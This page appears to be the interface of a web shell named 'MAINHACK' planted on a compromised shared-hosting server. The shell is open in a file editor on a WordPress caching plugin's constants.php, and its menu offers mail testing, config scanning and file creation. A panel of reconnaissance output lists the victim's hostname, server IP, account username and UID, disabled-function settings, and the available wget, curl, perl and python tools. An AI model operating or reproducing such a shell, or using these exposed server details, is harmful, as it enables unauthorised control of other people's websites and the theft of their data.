[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: constants.php
<?php defined('ABSPATH') or die('No script kiddies please!'); use \NitroPack\SDK\Filesystem; function nitropack_trailingslashit($string) { return rtrim($string, '/\\') . '/'; } define('NITROPACK_VERSION', '1.19.8'); define('NITROPACK_OPTION_GROUP', 'nitropack'); define('NITROPACK_SLUG', 'nitropack'); define('NITROPACK_FILE', __FILE__); define('NITROPACK_PLUGIN_DIR', nitropack_trailingslashit(dirname(__FILE__))); define('NITROPACK_CLASSES_DIR', nitropack_trailingslashit(NITROPACK_PLUGIN_DIR . 'classes')); define('NITROPACK_HEARTBEAT_INTERVAL', 60 * 5); // 5min define('NITROPACK_NONCE', 'np_nonce_' . NITROPACK_VERSION); if (!defined("NITROPACK_SUPPORT_BUBBLE_VISIBLE")) define("NITROPACK_SUPPORT_BUBBLE_VISIBLE", true); if (!defined("NITROPACK_SUPPORT_BUBBLE_URL")) define("NITROPACK_SUPPORT_BUBBLE_URL", "https://support.nitropack.io/"); spl_autoload_register(function ($class) { $filename = str_replace("\\", "/", $class) . ".php"; $filename = str_replace("NitroPack/", "", $filename); $filepath = NITROPACK_CLASSES_DIR . ltrim($filename, "/"); if (file_exists($filepath)) { require_once $filepath; } }); if (!defined("NITROPACK_USE_REDIS")) define("NITROPACK_USE_REDIS", false); // Set this to true to enable storing cache in Redis if (!defined("NITROPACK_REDIS_HOST")) define("NITROPACK_REDIS_HOST", "127.0.0.1"); // Set this to the IP of your Redis server if (!defined("NITROPACK_REDIS_PORT")) define("NITROPACK_REDIS_PORT", 6379); // Set this to the port of your Redis server if (!defined("NITROPACK_REDIS_PASS")) define("NITROPACK_REDIS_PASS", NULL); // Set this to the password of your redis server if authentication is needed if (!defined("NITROPACK_REDIS_DB")) define("NITROPACK_REDIS_DB", NULL); // Set this to the number of the Redis DB if you'd like to not use the default one if (!defined("NITROPACK_CACHE_DIR_NAME")) define("NITROPACK_CACHE_DIR_NAME", substr(md5(__FILE__), 0, 7) . "-nitropack"); // IMPORTANT: If you are changing the pattern make sure to add it to the $oldNitroDirs array in NitroPack::getDataDir() define('NITROPACK_DATA_DIR', NitroPack\WordPress\NitroPack::getDataDir()); define('NITROPACK_PLUGIN_DATA_DIR', NitroPack\WordPress\NitroPack::getPluginDataDir()); define('NITROPACK_CONFIG_FILE', nitropack_trailingslashit(NITROPACK_PLUGIN_DATA_DIR) . 'config.json'); define('NITROPACK_LOGS_DATA_DIR', WP_CONTENT_DIR . '/uploads/nitropack-logs/' ); if (Filesystem::fileExists(NITROPACK_CONFIG_FILE) && (NitroPack\WordPress\NitroPack::$nitroDirMigrated || NitroPack\WordPress\NitroPack::$nitroConfigMigrated)) { // Update the config_path according to the new location of the file. // Otherwise it will be ignored later and the plugin will appear disconnected. (new NitroPack\WordPress\Config())->updateConfigPath(); } add_action('plugins_loaded', function () { define('NITROPACK_PLUGIN_DIR_URL', nitropack_trailingslashit(plugin_dir_url(__FILE__))); }, 1); if (!defined("NITROPACKIO_HOST")) { $nitropackIo = getenv("NITROPACKIO_HOST"); if (!$nitropackIo) { $nitropackIo = "nitropack.io"; } define("NITROPACKIO_HOST", $nitropackIo); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.72 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: 1154